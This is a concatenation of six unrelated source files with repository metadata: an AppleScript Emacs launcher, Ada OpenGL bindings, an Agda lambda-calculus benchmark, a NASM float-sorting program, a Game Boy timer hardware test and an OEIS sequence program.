articuluxe/harmsway
2
571
<reponame>articuluxe/harmsway<filename>os/Darwin/bin/EmacsX.applescript<gh_stars>1-10 do shell script "open -n -a /Applications/Emacs.app/Contents/MacOS/Emacs"
bindings/gl.adb
ForYouEyesOnly/Space-Convoy
1
21447
<filename>bindings/gl.adb -- Change log: -- GdM : 26-Jul-2011 : using System.Address_To_Access_Conversions -- GdM : 28-Nov-2005 : replaced Unrestricted_Access with Address -- since Unrestricted_Access is GNAT-Specific -- GdM : 27-Jan-2004 : Added Material_Float_vector and Material ( .. .) for it -- GdM : 11-Apr-2002 : * "gl .. ." and other useless C prefixes removed -- * removing of pointers and -- " .. .4f" -style suffixes in progress with Interfaces.C.Strings; with GL.Extended; package body GL is procedure Light (Light_id : LightIDEnm; pname : LightParameterVEnm; params : Light_Float_vector) is params_copy : aliased Light_Float_vector := params; begin Lightfv (Light_id, pname, params_copy (0)'Unchecked_Access); end Light; procedure Material (face : FaceEnm; pname : MaterialParameterVEnm; params : Material_Float_vector) is params_copy : aliased Material_Float_vector := params; begin Materialfv (face, pname, params_copy (0)'Unchecked_Access); end Material; procedure Vertex (v : Double_Vector_3D) is begin Vertex3dv (A2A_double.To_Pointer (v (0)'Address)); -- This method is functionally identical -- to using GNAT's 'Unrestricted_Access end Vertex; procedure Normal (v : Double_Vector_3D) is begin Normal3dv (A2A_double.To_Pointer (v (0)'Address)); end Normal; procedure Translate (v : Double_Vector_3D) is begin Translate (v (0), v (1), v (2)); end Translate; procedure Color (v : RGB_Color) is begin Color3dv (A2A_double.To_Pointer (v.Red'Address)); end Color; procedure Color (v : RGBA_Color) is begin Color4dv (A2A_double.To_Pointer (v.red'Address)); end Color; function GetString (name : StringEnm) return String is function Cvt is new Ada.Unchecked_Conversion (ubytePtr, Interfaces.C.Strings.chars_ptr); ps : constant Interfaces.C.Strings.chars_ptr := Cvt (GL.GetString (name)); use Interfaces.C.Strings; begin -- OpenGL doc : If an error is generated, glGetString returns 0. if ps = Null_Ptr then -- We still return a string, but an empty one (this is abnormal) return ""; else return Interfaces.C.Strings.Value (ps); end if; end GetString; ----------------------------- -- Wrappers of GL.Extended -- ----------------------------- procedure Gen_Buffers (n : GL.Sizei; buffers : GL.uintPtr) renames GL.Extended.GenBuffers; procedure Delete_Buffers (n : GL.Sizei; buffers : GL.uintPtr) renames GL.Extended.DeleteBuffers; procedure BindBuffer (target : VBO_Target; buffer : GL.Uint) renames GL.Extended.BindBuffer; procedure Buffer_Data (target : GL.VBO_Target; size : GL.sizeiPtr; data : GL.pointer; usage : GL.VBO_Usage) renames GL.Extended.BufferData; procedure BufferSubData (target : GL.VBO_Target; offset : GL.intPtr; size : GL.sizeiPtr; data : GL.pointer) renames GL.Extended.BufferSubData; function MapBuffer (target : GL.VBO_Target; Policy : GL.Access_Policy) return GL.pointer renames GL.Extended.MapBuffer; function UnmapBuffer (target : GL.VBO_Target) return GL_Boolean renames GL.Extended.UnmapBuffer; procedure GetBufferParameter (target : GL.VBO_Target; value : Buffer_Parameter; data : intPointer) renames GL.Extended.GetBufferParameter; end GL;
bench/stlc_lessimpl.agda
int-index/smalltt
377
8535
{-# OPTIONS --type-in-type #-} Ty% : Set Ty% = (Ty% : Set) (nat top bot : Ty%) (arr prod sum : Ty% → Ty% → Ty%) → Ty% nat% : Ty%; nat% = λ _ nat% _ _ _ _ _ → nat% top% : Ty%; top% = λ _ _ top% _ _ _ _ → top% bot% : Ty%; bot% = λ _ _ _ bot% _ _ _ → bot% arr% : Ty% → Ty% → Ty%; arr% = λ A B Ty% nat% top% bot% arr% prod sum → arr% (A Ty% nat% top% bot% arr% prod sum) (B Ty% nat% top% bot% arr% prod sum) prod% : Ty% → Ty% → Ty%; prod% = λ A B Ty% nat% top% bot% arr% prod% sum → prod% (A Ty% nat% top% bot% arr% prod% sum) (B Ty% nat% top% bot% arr% prod% sum) sum% : Ty% → Ty% → Ty%; sum% = λ A B Ty% nat% top% bot% arr% prod% sum% → sum% (A Ty% nat% top% bot% arr% prod% sum%) (B Ty% nat% top% bot% arr% prod% sum%) Con% : Set; Con% = (Con% : Set) (nil : Con%) (snoc : Con% → Ty% → Con%) → Con% nil% : Con%; nil% = λ Con% nil% snoc → nil% snoc% : Con% → Ty% → Con%; snoc% = λ Γ A Con% nil% snoc% → snoc% (Γ Con% nil% snoc%) A Var% : Con% → Ty% → Set; Var% = λ Γ A → (Var% : Con% → Ty% → Set) (vz : ∀ Γ A → Var% (snoc% Γ A) A) (vs : ∀ Γ B A → Var% Γ A → Var% (snoc% Γ B) A) → Var% Γ A vz% : ∀{Γ A} → Var% (snoc% Γ A) A; vz% = λ Var% vz% vs → vz% _ _ vs% : ∀{Γ B A} → Var% Γ A → Var% (snoc% Γ B) A; vs% = λ x Var% vz% vs% → vs% _ _ _ (x Var% vz% vs%) Tm% : Con% → Ty% → Set; Tm% = λ Γ A → (Tm% : Con% → Ty% → Set) (var : ∀ Γ A → Var% Γ A → Tm% Γ A) (lam : ∀ Γ A B → Tm% (snoc% Γ A) B → Tm% Γ (arr% A B)) (app : ∀ Γ A B → Tm% Γ (arr% A B) → Tm% Γ A → Tm% Γ B) (tt : ∀ Γ → Tm% Γ top%) (pair : ∀ Γ A B → Tm% Γ A → Tm% Γ B → Tm% Γ (prod% A B)) (fst : ∀ Γ A B → Tm% Γ (prod% A B) → Tm% Γ A) (snd : ∀ Γ A B → Tm% Γ (prod% A B) → Tm% Γ B) (left : ∀ Γ A B → Tm% Γ A → Tm% Γ (sum% A B)) (right : ∀ Γ A B → Tm% Γ B → Tm% Γ (sum% A B)) (case : ∀ Γ A B C → Tm% Γ (sum% A B) → Tm% Γ (arr% A C) → Tm% Γ (arr% B C) → Tm% Γ C) (zero : ∀ Γ → Tm% Γ nat%) (suc : ∀ Γ → Tm% Γ nat% → Tm% Γ nat%) (rec : ∀ Γ A → Tm% Γ nat% → Tm% Γ (arr% nat% (arr% A A)) → Tm% Γ A → Tm% Γ A) → Tm% Γ A var% : ∀{Γ A} → Var% Γ A → Tm% Γ A; var% = λ x Tm% var% lam app tt pair fst snd left right case zero suc rec → var% _ _ x lam% : ∀{Γ A B} → Tm% (snoc% Γ A) B → Tm% Γ (arr% A B); lam% = λ t Tm% var% lam% app tt pair fst snd left right case zero suc rec → lam% _ _ _ (t Tm% var% lam% app tt pair fst snd left right case zero suc rec) app% : ∀{Γ A B} → Tm% Γ (arr% A B) → Tm% Γ A → Tm% Γ B; app% = λ t u Tm% var% lam% app% tt pair fst snd left right case zero suc rec → app% _ _ _ (t Tm% var% lam% app% tt pair fst snd left right case zero suc rec) (u Tm% var% lam% app% tt pair fst snd left right case zero suc rec) tt% : ∀{Γ} → Tm% Γ top%; tt% = λ Tm% var% lam% app% tt% pair fst snd left right case zero suc rec → tt% _ pair% : ∀{Γ A B} → Tm% Γ A → Tm% Γ B → Tm% Γ (prod% A B); pair% = λ t u Tm% var% lam% app% tt% pair% fst snd left right case zero suc rec → pair% _ _ _ (t Tm% var% lam% app% tt% pair% fst snd left right case zero suc rec) (u Tm% var% lam% app% tt% pair% fst snd left right case zero suc rec) fst% : ∀{Γ A B} → Tm% Γ (prod% A B) → Tm% Γ A; fst% = λ t Tm% var% lam% app% tt% pair% fst% snd left right case zero suc rec → fst% _ _ _ (t Tm% var% lam% app% tt% pair% fst% snd left right case zero suc rec) snd% : ∀{Γ A B} → Tm% Γ (prod% A B) → Tm% Γ B; snd% = λ t Tm% var% lam% app% tt% pair% fst% snd% left right case zero suc rec → snd% _ _ _ (t Tm% var% lam% app% tt% pair% fst% snd% left right case zero suc rec) left% : ∀{Γ A B} → Tm% Γ A → Tm% Γ (sum% A B); left% = λ t Tm% var% lam% app% tt% pair% fst% snd% left% right case zero suc rec → left% _ _ _ (t Tm% var% lam% app% tt% pair% fst% snd% left% right case zero suc rec) right% : ∀{Γ A B} → Tm% Γ B → Tm% Γ (sum% A B); right% = λ t Tm% var% lam% app% tt% pair% fst% snd% left% right% case zero suc rec → right% _ _ _ (t Tm% var% lam% app% tt% pair% fst% snd% left% right% case zero suc rec) case% : ∀{Γ A B C} → Tm% Γ (sum% A B) → Tm% Γ (arr% A C) → Tm% Γ (arr% B C) → Tm% Γ C; case% = λ t u v Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero suc rec → case% _ _ _ _ (t Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero suc rec) (u Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero suc rec) (v Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero suc rec) zero% : ∀{Γ} → Tm% Γ nat%; zero% = λ Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc rec → zero% _ suc% : ∀{Γ} → Tm% Γ nat% → Tm% Γ nat%; suc% = λ t Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec → suc% _ (t Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec) rec% : ∀{Γ A} → Tm% Γ nat% → Tm% Γ (arr% nat% (arr% A A)) → Tm% Γ A → Tm% Γ A; rec% = λ t u v Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec% → rec% _ _ (t Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec%) (u Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec%) (v Tm% var% lam% app% tt% pair% fst% snd% left% right% case% zero% suc% rec%) v0% : ∀{Γ A} → Tm% (snoc% Γ A) A; v0% = var% vz% v1% : ∀{Γ A B} → Tm% (snoc% (snoc% Γ A) B) A; v1% = var% (vs% vz%) v2% : ∀{Γ A B C} → Tm% (snoc% (snoc% (snoc% Γ A) B) C) A; v2% = var% (vs% (vs% vz%)) v3% : ∀{Γ A B C D} → Tm% (snoc% (snoc% (snoc% (snoc% Γ A) B) C) D) A; v3% = var% (vs% (vs% (vs% vz%))) tbool% : Ty%; tbool% = sum% top% top% true% : ∀{Γ} → Tm% Γ tbool%; true% = left% tt% tfalse% : ∀{Γ} → Tm% Γ tbool%; tfalse% = right% tt% ifthenelse% : ∀{Γ A} → Tm% Γ (arr% tbool% (arr% A (arr% A A))); ifthenelse% = lam% (lam% (lam% (case% v2% (lam% v2%) (lam% v1%)))) times4% : ∀{Γ A} → Tm% Γ (arr% (arr% A A) (arr% A A)); times4% = lam% (lam% (app% v1% (app% v1% (app% v1% (app% v1% v0%))))) add% : ∀{Γ} → Tm% Γ (arr% nat% (arr% nat% nat%)); add% = lam% (rec% v0% (lam% (lam% (lam% (suc% (app% v1% v0%))))) (lam% v0%)) mul% : ∀{Γ} → Tm% Γ (arr% nat% (arr% nat% nat%)); mul% = lam% (rec% v0% (lam% (lam% (lam% (app% (app% add% (app% v1% v0%)) v0%)))) (lam% zero%)) fact% : ∀{Γ} → Tm% Γ (arr% nat% nat%); fact% = lam% (rec% v0% (lam% (lam% (app% (app% mul% (suc% v1%)) v0%))) (suc% zero%))
ASS5/sort_float_arr (q6).asm
rahulkumawat1/NASM
0
104239
section .data mes1: db "Enter Number of elements :", 10 len1: equ $-mes1 mes2: db "Enter array :", 10 len2: equ $-mes2 mes3: db "Sorted array :", 10 len3: equ $-mes3 format1: db "%lf",0 format2: db "%lf",10 section .bss array: resq 100 arr_size: resd 1 n: resd 1 temp: resq 1 digit: resb 1 float1: resq 1 section .text global main: extern scanf extern printf main: mov eax, 4 mov ebx, 1 mov ecx, mes1 mov edx, len1 int 80h call fn_get_number mov eax,dword[n] mov dword[arr_size],eax mov eax, 4 mov ebx, 1 mov ecx, mes2 mov edx, len2 int 80h pusha call fn_input_array popa mov eax, 4 mov ebx, 1 mov ecx, mes3 mov edx, len3 int 80h mov esi,0 loop1: cmp esi,dword[arr_size] jae end_loop1 mov edi,0 loop2: mov ebx,dword[arr_size] dec ebx cmp edi,ebx je end_loop2 fld qword[array + 8*edi] fcom qword[array + 8*edi + 8] fstsw ax sahf jna skip_it fstp qword[temp] fld qword[array + 8*edi + 8] fstp qword[array + 8*edi] fld qword[temp] fstp qword[array + 8*edi + 8] jmp blabla skip_it: ffree ST0 blabla: inc edi jmp loop2 end_loop2: inc esi jmp loop1 end_loop1: ;;;;;;;;;;;;;;;;;;;; pusha call fn_print_array popa mov eax,1 mov ebx,0 int 80h ;;;;;;;;;;;;;;;;;;;;function to read floating point read_float: push ebp mov ebp, esp sub esp, 8 lea eax, [esp] push eax push format1 call scanf fld qword[ebp - 8] mov esp, ebp pop ebp ret ;;;;;;;;;;;;;;;function to print floating point print_float: push ebp mov ebp, esp sub esp, 8 fst qword[ebp - 8] push format2 call printf mov esp, ebp pop ebp ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fn_get_number: mov byte[digit],30h mov dword[n],0 getting_number: sub byte[digit],30h mov eax,dword[n] mov ebx,10 mul ebx movzx ecx ,byte[digit] add eax,ecx mov dword[n],eax mov eax,3 mov ebx,0 mov ecx,digit mov edx,1 int 80h cmp byte[digit],10 jne getting_number ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fn_input_array: mov esi,0 input_array: getting_elem: cmp dword[arr_size],esi je exit_input_array call read_float fstp qword[array + 8*esi] inc esi jmp getting_elem exit_input_array: ret fn_print_array: mov esi,0 print_array: cmp dword[arr_size],esi je end_array_print fld qword[array + 8*esi] call print_float ffree ST0 inc esi jmp print_array end_array_print: ret
timers/div_reset_timing/main.asm
AntonioND/gbc-hw-tests
6
16590
INCLUDE "hardware.inc" INCLUDE "header.inc" SECTION "var",BSS ram_ptr: DS 2 repeat_loop: DS 1 SECTION "Main",HOME ;-------------------------------------------------------------------------- ;- Main() - ;-------------------------------------------------------------------------- Main: ld hl,$A000 ld a,[Init_Reg_A] cp a,$11 jr nz,.skipchange1 ld a,0 ld [repeat_loop],a call CPU_slow .skipchange1: .repeat_all: ; ------------------------------------------------------- ld a,$0A ld [$0000],a ; enable ram ; ------------------------------------------------------- ld a,0 ld [rDIV],a REPETITIONS SET 1 REPT 100 ld a,0 ld [rDIV],a REPT REPETITIONS nop ENDR ld a,[rDIV] ld [hl+],a REPETITIONS SET REPETITIONS+1 ENDR ; ------------------------------------------------------- push hl ; magic number ld [hl],$12 inc hl ld [hl],$34 inc hl ld [hl],$56 inc hl ld [hl],$78 pop hl ld a,$00 ld [$0000],a ; disable ram ; ------------------------------------------------------- ld a,[Init_Reg_A] cp a,$11 jr nz,.skipchange2 ld a,[repeat_loop] and a,a jr nz,.endloop ; ------------------------------------------------------- call CPU_fast ld a,1 ld [repeat_loop],a jp .repeat_all .skipchange2: .endloop: halt jr .endloop
programs/oeis/267/A267006.asm
jmorken/loda
1
240952
<reponame>jmorken/loda ; A267006: Triangle read by rows giving successive states of cellular automaton generated by "Rule 84" initiated with a single ON (black) cell. ; 1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 add $0,2 mov $2,2 lpb $0 sub $0,1 add $1,$2 add $3,$2 trn $3,$0 trn $0,$1 add $0,$3 lpe mov $1,$0